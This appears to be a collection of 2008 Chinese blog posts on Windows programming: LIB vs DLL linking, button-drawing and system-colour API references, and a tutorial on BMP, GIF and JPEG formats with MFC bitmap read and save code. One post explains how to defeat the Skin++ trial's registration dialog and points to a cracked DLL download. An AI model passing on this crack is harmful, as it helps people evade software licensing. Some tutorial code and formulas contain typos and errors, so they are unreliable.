LIB与DLL的区别

1.dll是一个可执行文件,而lib则是对dll中引出函数提供索引地址功能的文件。在隐式链接dll(静态)的时候,linker可以根据lib文件提供的索引地址进行链接。动态是指在运行中在需要的时候加载dll文件,能过查询dll的导出函数地址来调用的dll中的函数,典型的调用为LoadLibrary,QueryProcAddress,FreeLibrary.


所以,lib文件主要是提供给linker进行静态连接使用的。而dll则存放程序真正的可执行的代码。无论动态还是静态。dll都是必须的,而动态调用下,lib不是必须的!

 

2.上面提到的把自己的代码编译成lib+.h的方式提供给别人是静态链接,这里需要声明一下概念的问题,程序进行链接的时候,lib中是否包含执行代码要看他的类型:


在静态库情况下,函数和数据被编译进一个二进制文件(通常扩展名为*.LIB),编译器在处理程序代码时将从静态库中恢复这些函数和数据并把他们和应用程序中的其他模块组合在一起生成可执行文件。这个过程称为”静态链接”,此时因为应用程序所需的全部内容都是从库中复制了出来,所以静态库本身并不需要与可执行文件一起发行。


在动态库的情况下,有两个文件,一个是引入库(.LIB)文件,一个是DLL文件,引入库文件包含被DLL导出的函数的名称和位置,DLL包含实际的函数和数据,应用程序使用LIB文件链接到所需要使用的DLL文件,库中的函数和数据并不复制到可执行文件中,因此在应用程序的可执行文件中,存放的不是被调用的函数代码,而是DLL中所要调用的函数的内存地址,这样当一个或多个应用程序运行是再把程序代码和被调用的函数代码链接起来,从而节省了内存资源。





Modified At 2008-04-25 21:29:10

如何破解Skin++

[点评:值得注意的是这里的破解方法还是比较独特的.程序使用线程,一旦发现他的提示对话框则关闭掉,不让他出现,蛮有意思的.]


1.先到 www.uipower.com下载skin++的试用版本.其实就三个文件

 

         SkinPPWTL.h

         SkinPPWTL.lib

         SkinPPWTL.dll

 

我就不长篇大论叽叽歪歪了,写程序的一看这三个文件就明白是干什么的.下面分析一下如何将试用版本变为正式版本.Skin++在换肤的时候需要调用 skinppLoadSkin函数.该函数负责完成皮肤的切换并弹出一个注册对话框来让你注册.其实只要把这个讨厌的注册对话框干掉就一切OK了.嗯,想法不错,下面就动手吧….

 

2.在App里面封装几个函数,或者你挺懒的话可以直接把下面几个函数拷过去,改改.



一看就明白了.其中m_strPath是程序路径,在App的InitInstance函数里面得到就行.



 

3.在你工程的InitInstance里面调用 theApp.SetSkin(皮肤文件);可以看到没有弹出Skin++的注册窗口,这样就可以正常使用了。

 

另:网上有相关破解的DLL下载,本站Resource有下载   ——   SkinPPWTL.dll





Modified At 2008-04-25 21:41:24

CButton按钮设计相关

virtual void CButton::DrawItem( LPDRAWITEMSTRUCT lpDrawItemStruct );
 
Parameters:
lpDrawItemStruct
A long pointer to a DRAWITEMSTRUCT structure. The structure contains information about the item to be drawn and the type of drawing required.
 
Remarks:
Called by the framework when a visual aspect of an owner-drawn button has changed. An owner-drawn button has the BS_OWNERDRAW style set. Override this member function to implement drawing for an owner-drawn CButton object. The application should restore all graphics device interface (GDI) objects selected for the display context supplied in lpDrawItemStruct before the member function terminates.
 
The DRAWITEMSTRUCT structure has the following form:
 
typedef struct tagDRAWITEMSTRUCT {
    UINT   CtlType;
    UINT   CtlID;
    UINT   itemID;
    UINT   itemAction;
    UINT   itemState;
    HWND   hwndItem;
    HDC    hDC;
    RECT   rcItem;
    DWORD  itemData;
} DRAWITEMSTRUCT;
 
The DRAWITEMSTRUCT structure provides information the owner window must have to determine how to paint an owner-drawn control or menu item. The owner window of the owner-drawn control or menu item receives a pointer to this structure as the lParam parameter of the WM_DRAWITEM message.
 
CtlType
The control type. The values for control types are as follows:
ODT_BUTTON   Owner-drawn button
ODT_COMBOBOX   Owner-drawn combo box
ODT_LISTBOX   Owner-drawn list box
ODT_MENU   Owner-drawn menu
ODT_LISTVIEW   List view control
ODT_STATIC   Owner-drawn static control
ODT_TAB   Tab control
 
CtlID
The control ID for a combo box, list box, or button. This member is not used for a menu.
 
 
itemID
The menu-item ID for a menu or the index of the item in a list box or combo box. For an empty list box or combo box, this member is a negative value, which allows the application to draw only the focus rectangle at the coordinates specified by the rcItem member even though there are no items in the control. The user can thus be shown whether the list box or combo box has the input focus. The setting of the bits in the itemAction member determines whether the rectangle is to be drawn as though the list box or combo box has input focus.
 
 
itemAction
Defines the drawing action required. This will be one or more of the following bits:
ODA_DRAWENTIRE   This bit is set when the entire control needs to be drawn.
ODA_FOCUS   This bit is set when the control gains or loses input focus. The itemState member should be checked to determine whether the control has focus.
ODA_SELECT   This bit is set when only the selection status has changed. The itemState member should be checked to determine the new selection state.
 
itemState
Specifies the visual state of the item after the current drawing action takes place. That is, if a menu item is to be dimmed, the state flag ODS_GRAYED will be set. The state flags are as follows:
ODS_CHECKED   This bit is set if the menu item is to be checked. This bit is used only in a menu.
ODS_DISABLED   This bit is set if the item is to be drawn as disabled.
ODS_FOCUS   This bit is set if the item has input focus.
ODS_GRAYED   This bit is set if the item is to be dimmed. This bit is used only in a menu.
ODS_SELECTED   This bit is set if the item’s status is selected.
ODS_COMBOBOXEDIT   The drawing takes place in the selection field (edit control) of an ownerdrawn combo box.
ODS_DEFAULT   The item is the default item.
 
hwndItem
Specifies the window handle of the control for combo boxes, list boxes, and buttons. Specifies the handle of the menu (HMENU) that contains the item for menus.
 
 
hDC
Identifies a device context. This device context must be used when performing drawing operations on the control.
 
 
rcItem
A rectangle in the device context specified by the hDC member that defines the boundaries of the control to be drawn. Windows automatically clips anything the owner draws in the device context for combo boxes, list boxes, and buttons, but it does not clip menu items. When drawing menu items, the owner must not draw outside the boundaries of the rectangle defined by the rcItem member.
 
 
itemData
For a combo box or list box, this member contains the value that was passed to the list box by one of the following:
 
 
 
 
 
 
 
 
The GetSysColor function retrieves the current color of the specified display element. Display elements are the parts of a window and the display that appear on the system display screen.
 
 
DWORD GetSysColor(
  int nIndex   // display element
);
 
Parameters:
nIndex
Specifies the display element whose color is to be retrieved. This parameter must be one of the following values:
COLOR_3DDKSHADOW      
Dark shadow for three-dimensional display elements.
COLOR_3DFACE, COLOR_BTNFACE         
Face color for three-dimensional display elements.
COLOR_3DHILIGHT, COLOR_3DHIGHLIGHT, COLOR_BTNHILIGHT, COLOR_BTNHIGHLIGHT    
Highlight color for three-dimensional display elements (for edges facing the light source.)
COLOR_3DLIGHT          
Light color for three-dimensional display elements (for edges facing the light source.)
COLOR_3DSHADOW, COLOR_BTNSHADOW       
Shadow color for three-dimensional display elements (for edges facing away from the light source).
COLOR_ACTIVEBORDER    
Active window border.
COLOR_ACTIVECAPTION   
Active window title bar.
Windows NT 5.0 and Windows 98: Specifies the left side color in the color gradient of an active window’s title bar if the gradient effect is enabled.
 
COLOR_APPWORKSPACE
Background color of multiple document interface (MDI) applications.
 
COLOR_BACKGROUND, COLOR_DESKTOP
Desktop.
COLOR_BTNTEXT
Text on push buttons.
COLOR_CAPTIONTEXT
Text in caption, size box, and scroll bar arrow box.
COLOR_GRADIENTACTIVECAPTION
Windows NT 5.0 and Windows 98: Right side color in the color gradient of an active window’s title bar. COLOR_ACTIVECAPTION specifies the left side color. Use SPI_GETGRADIENTCAPTIONS with the SystemParametersInfo function to determine whether the gradient effect is enabled.
COLOR_GRADIENTINACTIVECAPTION
Windows NT 5.0 and Windows 98: Right side color in the color gradient of an inactive window’s title bar. COLOR_INACTIVECAPTION specifies the left side color. 
COLOR_GRAYTEXT
Grayed (disabled) text. This color is set to 0 if the current display driver does not support a solid gray color.
COLOR_HIGHLIGHT Item(s)
selected in a control.
COLOR_HIGHLIGHTTEXT
Text of item(s) selected in a control.
COLOR_HOTLIGHT
Windows NT 5.0 and Windows 98: Color for a hot-tracked item. Single clicking a hot-tracked item executes the item.
COLOR_INACTIVEBORDER
Inactive window border.
COLOR_INACTIVECAPTION
Inactive window caption.
Windows NT 5.0 and Windows 98: Specifies the left side color in the color gradient of an inactive window’s title bar if the gradient effect is enabled.
 
COLOR_INACTIVECAPTIONTEXT
Color of text in an inactive caption.
COLOR_INFOBK
Background color for tooltip controls.
COLOR_INFOTEXT
Text color for tooltip controls.
COLOR_MENU
Menu background.
COLOR_MENUTEXT
Text in menus.
COLOR_SCROLLBAR
Scroll bar gray area.
COLOR_WINDOW
Window background.
COLOR_WINDOWFRAME
Window frame.
COLOR_WINDOWTEXT
Text in windows.
 
Return Values:
The return value is the red, green, blue (RGB) color value that specifies the color of the given element.
If the function fails, the return value is zero. To get extended error information, callGetLastError.
 

VC++图象处理编程

VC++图象处理编程
摘自:http://www.programbbs.com/doc/389.htm
基本概念

前言

 

     数字图像处理技术与理论是计算机应用的一个重要领域,许多工程应用都涉及到图像处理,一直有一个强烈的愿望,想系统的写一个关于数字图像处理的讲座,由于工作学习很忙,时至今日才得以实现。

 

  “图”是物体透射光或反射光的分布,“像”是人的视觉系统对图的接收在大脑中形成的印象或认识。图像是两者的结合。人类获取外界信息是靠听觉、视觉、触觉、嗅觉、味觉等,但绝大部分(约80%左右)来自视觉所接收的图像信息。图像处理就是对图像信息进行加工处理,以满足人的视觉心理和实际应用的需要。简单的说,依靠计算机对图像进行各种目的的处理我们就称之为数字图像处理。早期的数字图像处理的目的是以人为对象,为了满足人的视觉效果而改善图像的质量,处理过程中输入的是质量差的图像,输出的是质量好的图像,常用的图像处理方法有图像增强、复原等。随着计算机技术的发展,有一类图像处理是以机器为对象,处理的目的是使机器能够自动识别目标,这称之为图像的识别,因为这其中要牵涉到一些复杂的模式识别的理论,所以我们后续的讲座只讨论其中最基本的内容。由于在许多实际应用的编程中往往都要涉及到数字图像处理,涉及到其中的一些算法,这也是许多编程爱好者感兴趣的一个内容,我们这个讲座就是讨论如何利用微软的Visual C++开发工具来实现一些常用的数字图像处理算法,论述了图像处理的理论,同时给出了VC实现的源代码。本讲座主要的内容分为基础篇、中级篇和高级篇,具体包含的主要内容有:

 

1. 图像文件的格式;

2. 图像编程的基础-操作调色板;

3. 图像数据的读取、存储和显示、如何获取图像的尺寸等;

4. 利用图像来美化界面;

5. 图像的基本操作:图像移动、图像旋转、图像镜像、图像的缩放、图像的剪切板操作;

6. 图像显示的各种特技效果;

7. 图像的基本处理:图像的二值化、图像的亮度和对比度的调整、图像的边缘增强、如何得到图像的直方图、图像直方图的修正、图像的平滑、图像的锐化等、图像的伪彩色、彩色图像转换为黑白图像、物体边缘的搜索等等;

8. 二值图像的处理:腐蚀、膨胀、细化、距离变换等;

9. 图像分析:直线、圆、特定物体的识别;

10.JEPG、GIF、PCX等格式文件相关操作;

11.图像文件格式的转换;

12.图像的常用变换:付利叶变换、DCT变换、沃尔什变换等;

13.AVI视频流的操作;

 

图像处理技术博大精深,不仅需要有很强的数学功底,还需要熟练掌握一门计算机语言,在当前流行的语言中,我个人觉的Visual C++这个开发平台是图像开发人员的首选工具。本讲座只是起到抛砖引玉的作用,希望和广大读者共同交流。

图象的文件格式

 

一.图象的文件格式

 

  要利用计算机对数字化图像进行处理,首先要对图像的文件格式要有清楚的认识,因为我们前面说过,自然界的图像以模拟信号的形式存在,在用计算机进行处理以前,首先要数字化,比如摄像头(CCD)摄取的信号在送往计算机处理前,一般情况下要经过数模转换,这个任务常常由图像采集卡完成,它的输出一般为裸图的形式;如果用户想要生成目标图像文件,必须根据文件的格式做相应的处理。随着科技的发展,数码像机、数码摄像机已经进入寻常百姓家,我们可以利用这些设备作为图像处理系统的输入设备来为后续的图像处理提供信息源。无论是什么设备,它总是提供按一定的图像文件格式来提供信息,比较常用的有BMP格式、JPEG格式、GIF格式等等,所以我们在进行图像处理以前,首先要对图像的格式要有清晰的认识,只有在此基础上才可以进行进一步的开发处理。

 

  在讲述图像文件格式前,先对图像作一个简单的分类。除了最简单的图像外,所有的图像都有颜色,而单色图像则是带有颜色的图像中比较简单的格式,它一般由黑色区域和白色区域组成,可以用一个比特表示一个像素,“1”表示黑色,“0”表示白色,当然也可以倒过来表示,这种图像称之为二值图像。我们也可以用8个比特(一个字节)表示一个像素,相当于把黑和白等分为256个级别,“0”表示为黑,“255”表示为白,该字节的数值表示相应像素值的灰度值或亮度值,数值越接近“0”,对应像素点越黑,相反,则对应像素点越白,此种图像我们一般称之为灰度图像。单色图像和灰度图像又统称为黑白图像,与之对应存在着彩色图像,这种图像要复杂一些,表示图像时,常用的图像彩色模式有RGB模式、CMYK模式和HIS模式,一般情况下我们只使用RGB模式,R对应红色,G对应绿色,B对应蓝色,它们统称为三基色,这三中色彩的不同搭配,就可以搭配成各种现实中的色彩,此时彩色图像的每一个像素都需要3个样本组成的一组数据表示,其中每个样本用于表示该像素的一个基本颜色。

 

  对于现存的所有的图像文件格式,我们在这里主要介绍BMP图像文件格式,并且文件里的图像数据是未压缩的,因为图像的数字化处理主要是对图像中的各个像素进行相应的处理,而未压缩的BMP图像中的像素数值正好与实际要处理的数字图像相对应,这种格式的文件最合适我们对之进行数字化处理。请读者记住,压缩过的图像是无法直接进行数字化处理的,如JPEG、GIF等格式的文件,此时首先要对图像文件解压缩,这就要涉及到一些比较复杂的压缩算法。后续章节中我们将针对特殊的文件格式如何转换为BMP格式的文件问题作专门的论述,经过转换,我们就可以利用得到的未压缩的BMP文件格式进行后续处理。对于JPEG、GIF等格式,由于涉及到压缩算法,这要求读者掌握一定的信息论方面的知识,如果展开的话,可以写一本书,限于篇幅原因,我们只作一般性的讲解,有兴趣的朋友可以参考相关书籍资料。

 

二.BMP文件结构

1 BMP文件的组成


  BMP文件由文件头、位图信息头、颜色信息和图形数据四部分组成。文件头主要包含文件的大小、文件类型、图像数据偏离文件头的长度等信息;位图信息头包含图象的尺寸信息、图像用几个比特数值来表示一个像素、图像是否压缩、图像所用的颜色数等信息。颜色信息包含图像所用到的颜色表,显示图像时需用到这个颜色表来生成调色板,但如果图像为真彩色,既图像的每个像素用24个比特来表示,文件中就没有这一块信息,也就不需要操作调色板。文件中的数据块表示图像的相应的像素值,需要注意的是:图像的像素值在文件中的存放顺序为从左到右,从下到上,也就是说,在BMP文件中首先存放的是图像的最后一行像素,最后才存储图像的第一行像素,但对与同一行的像素,则是按照先左边后右边的的顺序存储的;另外一个需要读者朋友关注的细节是:文件存储图像的每一行像素值时,如果存储该行像素值所占的字节数为4的倍数,则正常存储,否则,需要在后端补0,凑足4的倍数。

 2. BMP文件头

BMP文件头数据结构含有BMP文件的类型、文件大小和位图起始位置等信息。其结构定义如下:

 

typedef struct tagBITMAPFILEHEADER
{
WORD bfType; // 位图文件的类型,必须为“BMP”
DWORD bfSize; // 位图文件的大小,以字节为单位
WORD bfReserved1; // 位图文件保留字,必须为0
WORD bfReserved2; // 位图文件保留字,必须为0
DWORD bfOffBits; // 位图数据的起始位置,以相对于位图文件头的偏移量表示,以字节为单位
} BITMAPFILEHEADER;该结构占据14个字节。

3. 位图信息头

BMP位图信息头数据用于说明位图的尺寸等信息。其结构如下:

typedef struct tagBITMAPINFOHEADER{
DWORD biSize; // 本结构所占用字节数
LONG biWidth; // 位图的宽度,以像素为单位
LONG biHeight; // 位图的高度,以像素为单位
WORD biPlanes; // 目标设备的平面数不清,必须为1
WORD biBitCount// 每个像素所需的位数,必须是1(双色), 4(16色),8(256色)或24(真彩色)之一
DWORD biCompression; // 位图压缩类型,必须是 0(不压缩),1(BI_RLE8压缩类型)或2(BI_RLE4压缩类型)之一
DWORD biSizeImage; // 位图的大小,以字节为单位
LONG biXPelsPerMeter; // 位图水平分辨率,每米像素数
LONG biYPelsPerMeter; // 位图垂直分辨率,每米像素数
DWORD biClrUsed;// 位图实际使用的颜色表中的颜色数
DWORD biClrImportant;// 位图显示过程中重要的颜色数
} BITMAPINFOHEADER;该结构占据40个字节。

 

注意:对于BMP文件格式,在处理单色图像和真彩色图像的时候,无论图象数据多么庞大,都不对图象数据进行任何压缩处理,一般情况下,如果位图采用压缩格式,那么16色图像采用RLE4压缩算法,256色图像采用RLE8压缩算法。

4. 颜色表

  颜色表用于说明位图中的颜色,它有若干个表项,每一个表项是一个RGBQUAD类型的结构,定义一种颜色。RGBQUAD结构的定义如下:

 

typedef struct tagRGBQUAD {
BYTErgbBlue;// 蓝色的亮度(值范围为0-255)
BYTErgbGreen; // 绿色的亮度(值范围为0-255)
BYTErgbRed; // 红色的亮度(值范围为0-255)
BYTErgbReserved;// 保留,必须为0
} RGBQUAD;

 

  颜色表中RGBQUAD结构数据的个数由BITMAPINFOHEADER 中的biBitCount项来确定,当biBitCount=1,4,8时,分别有2,16,256个颜色表项,当biBitCount=24时,图像为真彩色,图像中每个像素的颜色用三个字节表示,分别对应R、G、B值,图像文件没有颜色表项。位图信息头和颜色表组成位图信息,BITMAPINFO结构定义如下:

 

typedef struct tagBITMAPINFO {
BITMAPINFOHEADER bmiHeader; // 位图信息头
RGBQUAD bmiColors[1]; // 颜色表
} BITMAPINFO;

 

  注意:RGBQUAD数据结构中,增加了一个保留字段rgbReserved,它不代表任何颜色,必须取固定的值为“0”,同时,RGBQUAD结构中定义的颜色值中,红色、绿色和蓝色的排列顺序与一般真彩色图像文件的颜色数据排列顺序恰好相反,既:若某个位图中的一个像素点的颜色的描述为“00,00,ff,00”,则表示该点为红色,而不是蓝色。

5. 位图数据

  位图数据记录了位图的每一个像素值或该对应像素的颜色表的索引值,图像记录顺序是在扫描行内是从左到右,扫描行之间是从下到上。这种格式我们又称为Bottom_Up位图,当然与之相对的还有Up_Down形式的位图,它的记录顺序是从上到下的,对于这种形式的位图,也不存在压缩形式。位图的一个像素值所占的字节数:当biBitCount=1时,8个像素占1个字节;当biBitCount=4时,2个像素占1个字节;当biBitCount=8时,1个像素占1个字节;当biBitCount=24时,1个像素占3个字节,此时图像为真彩色图像。当图像不是为真彩色时,图像文件中包含颜色表,位图的数据表示对应像素点在颜色表中相应的索引值,当为真彩色时,每一个像素用三个字节表示图像相应像素点彩色值,每个字节分别对应R、G、B分量的值,这时候图像文件中没有颜色表。上面我已经讲过了,Windows规定图像文件中一个扫描行所占的字节数必须是4的倍数(即以字为单位),不足的以0填充,图像文件中

 

 

一个扫描行所占的字节数计算方法:

DataSizePerLine= (biWidth* biBitCount+31)/8;// 一个扫描行所占的字节数

位图数据的大小按下式计算(不压缩情况下):

DataSize= DataSizePerLine* biHeight。

 

 

上述是BMP文件格式的说明,搞清楚了以上的结构,就可以正确的操作图像文件,对它进行读或写操作了。

三.GIF图象文件格式

 

  GIF图象格式的全称为Graphics Interchange Format,从这个名字可以看出,这种图像格式主要是为了通过网络传输图像而设计的。GIF文件不支持24位真彩色图像,最多只能存储256色的图像或灰度图像;GIF格式文件也无法存储CMY和HIS模型的图像数据;另外,GIF图像文件的各种数据区域一般没有固定的数据长度和存储顺序,所以为了方便程序寻找数据区,将数据区中的第一个字节作为标志符;最后需要读者注意的是GIF文件存储图像数据是有二种排列顺序:顺序排列或交叉排列。交叉排列的方式适合网络传输,这样一来允许用户在不完全掌握图像数据之前,获取当前图像的轮廓数据。

 

  GIF文件格式分为87和89两个版本,对于87这个版本,该文件主要是有五个部分组成,它,们是按顺序出现的:文件头块、逻辑屏幕描述块、可选择的调色板块、图像数据块、最后是标志文件结束的尾块,该块总是取固定的值3BH。其中第一和第二两个块用GIF图像文件头结构描述:

 

GIFHEADER:{
DB Signature; //该字段占六个字节,为了用于指明图像为GIF格式,前三个字符必须为“GIF”,后三字符用于指定是哪个版本,87或89。
DW ScreenWidth;//
DW ScreenDepth;//占两个字节,以像素为单位表示图像的宽、高
DB GlobalFlagByte;//该字节的各个位用于调色版的描述
DB BackGroundColor;//代表图象的背景颜色的索引
DB AspectRatio;图像的长宽比
}

  GIF格式中的调色板有通用调色板和局部调色板之分,因为GIF格式允许一个文件中存储多个图像,因此有这两种调色板,其中通用调色板适于文件中的所有图像,而局部调色板只适用于某一个图像。格式中的数据区域一般分为四个部分,图像数据识别区域,局部调色板数据,采用压缩算法得到的图象数据区域和结束标志区域。

  在GIF89版本中,它包含七个部分,分别是文件头、通用调色板数据、图像数据区和四个补充数据区,它们主要是用于提示程序如何处理图像的.

四.JEPG图像文件

 

  JEPG简称为联合摄影专家小组,作为一种技术,主要用于数字化图像的标准编码,JPEG主要采用有损的压缩编码方式,它比GIF、BMP图像文件要复杂的多,这不是短短的几页篇幅可以将清楚的,万幸的是,我们可以通过一些别的方法将该格式转化为BMP格式。读者需要知道的是在对JEPG文件格式编码时,通常需要分为以下四步:颜色转化、DCT变换、量化、编码。

  以上介绍了一些常用的图像文件,对比较复杂的格式,如GIF和JEPG,仅仅作了极其浮浅的介绍,后文我们会和它们作进一步的接触。实际应用中,还有许多图像格式,文章中都没有提到,读者如果需要做进一步的研究,还需要参考一些关于图像格式方面的资料。


BMP图像的基本操作


  上一讲我们主要介绍了图像的格式,其中重点说明了BMP文件的存储格式,同时对JEPG和GIF等常用格式作了简单的介绍。本节主要讲述如何操作BMP文件,如对其读、写和显示等。

  在实现数字图象处理的过程中,主要是通过对图像中的每一个像素点运用各种图像处理算法来达到预期的效果,所以进行图像处理的第一步,也是我们最关心的问题,是如何得到图像中每一个像素点的亮度值;为了观察和验证处理的图像效果,另一个需要解决的问题是如何将处理前后的图像正确的显示出来。我们这章内容就是解决这些问题。

  随着科技的发展,图像处理技术已经渗透到人类生活的各个领域并得到越来越多的应用,但是突出的一个矛盾是图像的格式也是越来越多,目前图像处理所涉及的主要的图像格式就有很多种,如TIF、JEMP、BMP等等,一般情况下,为了处理简单方便,进行数字图像处理所采用的都是BMP格式的图像文件(有时也称为DIB格式的图像文件),并且这种格式的文件是没有压缩的。我们通过操作这种格式的文件,可以获取正确显示图像所需的调色板信息,图像的尺寸信息,图像中各个像素点的亮度信息等等,有了这些数据,开发人员就可以对图像施加各种处理算法,进行相应的处理。如果特殊情况下需要处理其它某种格式的图像,如GIF、JEMP等格式的图象文件,可以首先将该格式转换为BMP格式,然后再进行相应的处理。这一点需要读者清楚。

  BMP格式的图像文件又可以分为许多种类,如真彩色位图、256色位图,采用RLE(游程编码)压缩格式的BMP位图等等。由于在实际的工程应用和图像算法效果验证中经常要处理的是256色并且是没有压缩的BMP灰度图像,例如通过黑白采集卡采集得到的图像就是这种格式,所以我们在整个讲座中范例所处理的文件格式都是BMP灰度图像。如果读者对这种格式的位图能够作到熟练的操作,那么对于其余形式的BMP位图的操作也不会很困难。

  BMP灰度图像作为Windows环境下主要的图像格式之一,以其格式简单,适应性强而倍受欢迎。正如我们在上一讲中介绍过的那样,这种文件格式就是每一个像素用8bit表示,显示出来的图像是黑白效果,最黑的像素的灰度(也叫作亮度)值为“0”,最白的像素的灰度值为“255”,整个图像各个像素的灰度值随机的分布在“0”到“255”的区间中,越黑的像素,其灰度值越接近于“0”,越白(既越亮)的像素,其灰度值越接近于“255”;与此对应的是在该文件类型中的颜色表项的各个RGB分量值是相等的,并且颜色表项的数目是256个。

  在进行图像处理时,操作图像中的像素值就要得到图像阵列;经过处理后的图像的像素值需要存储起来;显示图像时要正确实现调色板、得到位图的尺寸信息等。结合这些问题,下面我们针对性的给出了操作灰度BMP图像时的部分函数实现代码及注释。

一.BMP位图操作

回顾:BMP位图包括位图文件头结构BITMAPFILEHEADER、位图信息头结构BITMAPINFOHEADER、位图颜色表RGBQUAD和位图像素数据四部分。处理位图时要根据文件的这些结构得到位图文件大小、位图的宽、高、实现调色板、得到位图像素值等等。这里要注意的一点是在BMP位图中,位图的每行像素值要填充到一个四字节边界,即位图每行所占的存储长度为四字节的倍数,不足时将多余位用0填充。

  有了上述知识,可以开始编写图像处理的程序了,关于在VC的开发平台上如何开发程序的问题这里不再赘述,笔者假定读者都具有一定的VC开发经验。在开发该图像处理程序的过程中,笔者没有采用面向对象的方法,虽然面向对象的方法可以将数据封装起来,保护类中的数据不受外界的干扰,提高数据的安全性,但是这种安全性是以降低程序的执行效率为代价的,为此,我们充分利用了程序的文档视图结构,在程序中直接使用了一些API函数来操作图像。在微软的MSDN中有一个名为Diblook的例子,该例子演示了如何操作Dib位图,有兴趣的读者可以参考一下,相信一定会有所收获。

  启动Visual C++,生成一个名为Dib的多文档程序,将CDibView类的基类设为CscrollView类,这样作的目的是为了在显示位图时支持滚动条,另外在处理图像应用程序的文档类(CDibDoc.h)中声明如下宏及公有变量:

 

#define WIDTHBYTES(bits) (((bits) + 31) / 32 * 4)//计算图像每行象素所占的字节数目;
HANDLE m_hDIB;//存放位图数据的句柄;
CPalette* m_palDIB;//指向调色板Cpalette类的指针;
CSize m_sizeDoc;//初始化视图的尺寸,该尺寸为位图的尺寸;

 

  最后将程序的字符串表中的字符串资源IDR_DibTYPE修改为:“\nDib\nDib\nDib Files(*.bmp;*.dib)\n.bmp\nDib.Document\nDib Document”。这样作的目的是为了在程序文件对话框中可以选择BMP或DIB格式的位图文件。

1、 读取灰度BMP位图

  可以根据BMP位图文件的结构,操作BMP位图文件并读入图像数据,为此我们充分利用了VC的文档视图结构,重载了文挡类的OnOpenDocument()函数,这样用户就可以在自动生成程序的打开文件对话框中选择所要打开的位图文件,然后程序将自动调用该函数执行读取数据的操作。该函数的实现代码如下所示:

 

BOOL CDibDoc::OnOpenDocument(LPCTSTR lpszPathName)
{
LOGPALETTE *pPal;//定义逻辑调色板指针;
pPal=new LOGPALETTE;//初始化该指针;
CFile file;
CFileException fe;
if (!file.Open(lpszPathName, CFile::modeRead | CFile::shareDenyWrite, &fe))
{//以“读”的方式打开文件;
AfxMessageBox(“图像文件打不开!”);
return FALSE;
}
DeleteContents();//删除文挡;
BeginWaitCursor();
BITMAPFILEHEADER bmfHeader;//定义位图文件头结构;
LPBITMAPINFO lpbmi;
DWORD dwBitsSize;
HANDLE hDIB;
LPSTR pDIB;//指向位图数据的指针;
BITMAPINFOHEADER *bmhdr;//指向位图信息头结构的指针
dwBitsSize = file.GetLength();//得到文件长度
if (file.Read((LPSTR)&bmfHeader, sizeof(bmfHeader)) !=sizeof(bmfHeader))
return FALSE;//读取位图文件的文件头结构信息;
if (bmfHeader.bfType != 0x4d42) //检查该文件是否为BMP格式的文件;
return FALSE;
hDIB=(HANDLE) ::GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwBitsSize);
//为读取图像文件数据申请缓冲区
if (hDIB == 0)
{
return FALSE;
}
pDIB = (LPSTR) ::GlobalLock((HGLOBAL)hDIB);
//得到申请的缓冲区的指针;
if (file.ReadHuge(pDIB, dwBitsSize – sizeof(BITMAPFILEHEADER)) !=
dwBitsSize – sizeof(BITMAPFILEHEADER) )
{
::GlobalUnlock((HGLOBAL)hDIB);
hDIB=NULL;
return FALSE;
}//此时pDIB数据块中读取的数据包括位图头信息、位图颜色表、图像像素的灰度值;
bmhdr=(BITMAPINFOHEADER*)pDIB;//为指向位图信息头结构的指针赋值;
::GlobalUnlock((HGLOBAL)hDIB);
if ((*bmhdr).biBitCount!=8)//验证是否为8bit位图
{
AfxMessageBox(“该文件不是灰度位图格式!”);
return FALSE;
}
m_hDIB=hDIB;//将内部变量数据赋于全局变量;
//下面是记录位图的尺寸;
m_sizeDoc.x=bmhdr->biWidth;
m_sizeDoc.y=bmhdr->biHeight;
//下面是根据颜色表生成调色板;
m_palDIB=new Cpalette;
pPal->palVersion=0x300;//填充逻辑颜色表
pPal->palNumEntries=256;
lpbmi=(LPBITMAPINFO)bmhdr;
for(int i=0;i<256;i++)
{//每个颜色表项的R、G、B值相等,并且各个值从“0”到“255”序列展开;
Pal->palPalentry[i].peRed=lpbmi->bmiColors[i].rgbRed;
pPal->palPalentry[i].peGreen=lpbmi->bmiColors[i].rgbGreen;
pPal->palPalentry[i].peBlue= lpbmi->bmiColors[i].rgbBlue;;
pPal->palPalentry[i].peFlags=0;
}
m_palDIB->CreatePalette(pPal);
//根据读入的数据得到位图的宽、高、颜色表;
if(pPal)
delete pPal;
EndWaitCursor();
SetPathName(lpszPathName);//设置存储路径
SetModifiedFlag(FALSE); // 设置文件修改标志为FALSE
return TRUE;
}

 

  上面的方法是通过CFile类对象的操作来读取位图文件的,它需要分析位图中的文件头信息,从而确定需要读取的图像长度。这种方法相对来说有些繁琐,其实还可以以一种相对简单的方法读取位图数据,首先在程序的资源中定义DIB类型资源,然后添加位图到该类型中,将图像数据以资源的形式读取出来,这时候就可以根据所获取的数据中的位图信息结构来获取、显示图像数据了。下面的函数实现了以资源形式装载图像文件数据,该函数的实现代码如下所示:

 

HANDLE LoadDIB(UINT uIDS, LPCSTR lpszDibType)
{
LPCSTR lpszDibRes =MAKEINTRESOURCE(uIDS);//根据资源标志符确定资源的名字;
HINSTANCE hInst=AfxGetInstanceHandle();//得到应用程序的句柄;
HRSRC hRes=::FindResource(hInst,lpszDibRes, lpszDibType);//获取资源的句柄,这里lpszDibType为资源的名字“DIB”;
If(hRes==NULL)
return NULL
HGLOBAL hData=::LoadResource(hInst, hRes);//转载资源数据并返回该句柄;
return hData;
}

 

2、 灰度位图数据的存储

 为了将图像处理后所得到的像素值保存起来,我们重载了文档类的OnSaveDocument()函数,这样用户在点击Save或SaveAs子菜单后程序自动调用该函数,实现图像数据的存储。该函数的具体实现如下:

 

BOOL CDibDoc::OnSaveDocument(LPCTSTR lpszPathName)
{
CFile file;
CFileException fe;
BITMAPFILEHEADER bmfHdr; // 位图文件头结构;
LPBITMAPINFOHEADER lpBI;//指向位图头信息结构的指针;
DWORD dwDIBSize;;
if (!file.Open(lpszPathName, CFile::modeCreate |CFile::modeReadWrite | CFile::shareExclusive, &fe))
{
AfxMessageBox(“文件打不开”);
return FALSE;
}//以读写的方式打开文件;
BOOL bSuccess = FALSE;
BeginWaitCursor();
lpBI = (LPBITMAPINFOHEADER) ::GlobalLock((HGLOBAL) m_hDIB);
if (lpBI == NULL)
return FALSE;
dwDIBSize = *(LPDWORD)lpBI + 256*sizeof(RGBQUAD);
//图像的文件信息所占用的字节数;
DWORD dwBmBitsSize;//BMP文件中位图的像素所占的字节数
dwBmBitsSize=WIDTHBYTES((lpBI->biWidth)*((DWORD)lpBI->biBitCount))
*lpBI->biHeight;// 存储时位图所有像素所占的总字节数
